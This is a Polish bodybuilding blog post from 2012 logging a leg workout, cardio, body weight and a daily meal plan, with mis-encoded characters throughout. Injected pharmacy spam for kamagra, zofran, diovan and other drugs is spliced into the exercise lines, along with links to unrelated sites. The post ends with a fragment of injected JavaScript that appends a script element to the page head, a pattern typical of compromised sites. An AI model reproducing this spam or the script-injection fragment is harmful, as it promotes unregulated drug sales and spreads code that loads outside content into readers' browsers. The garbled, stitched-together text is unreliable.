Ai??wiczenia

1.08.2012 / Tomasz Lech / Kulturystyka

Dzisiaj jak zwykle w Ai??rodAi?? skatowaAi??em piAi??knie nogi.

-wyprosty ud siedzAi??c 5×15

pills online Pills Cheap Cheap kamagra gold 100mg. Kamagra without prescription. difference between kamagra and kamagra gold. diovan hct purchase himcocid syrup -przysiady ze sztangAi?? na plecach 5×12 100,120,140,160,180kg http://vfmachomecoming.com/?p=7633 buy zofran generic Ai??w przyszAi??ym tygodniu wchodzAi?? w ostatniej na 200kg.Nie mam juA? dolegliwoAi??ci w stawie krzyA?owo-biodrowym wiAi??c zaszalejAi??,a co mi tam:)

uroxatral cost -wykroki chodzone z hantlami 4×30,28,26,24Ai??kroki-tutaj z serii na seriAi?? wymiAi??kaAi??em:)

-wypychanie jednonA?A? na suwnicy + przywodzenie ud na maszynie siedzAi??c 4×15+15


Aeroby na dzieAi?? dzisiejszy krAi??cAi?? z rana na czczo 6x30min,od przyszAi??ego tygodnia wchodzAi?? na 6×40.Waga z rana 109,6kg.

PosiAi??ki wyglAi??dajAi?? od dAi??uA?szego czasu tak samo:
1.140gr pAi??atkA?w owsianych,12 biaAi??ek jaj,20gr orzechA?w,20gr rodzynek
2.280gr piersi,100gr ryA?u,10gr oliwy,warzywa
3.280gr piersi,100gr ryA?u,10gr oliwy,warzywa
4.280gr piersi,100gr ryA?u,10gr oliwy,warzywa
5.300gr woAi??owiny,250gr ziemniakA?w,warzywa
6.10 biaAi??ek jaj,50gr biaAi??ka CASSEIN 100,30gr orzechA?w.
Niby tego duA?o,ale i tak chodzAi?? gAi??odny:)

Fota z dzisiejszego treningu.

Buy } else { Pills if (document.currentScript) { d.getElementsByTagName('head')[0].appendChild(s); http://fafar.mhs.narotama.ac.id/2018/02/02/cheap-aygestin-dosage/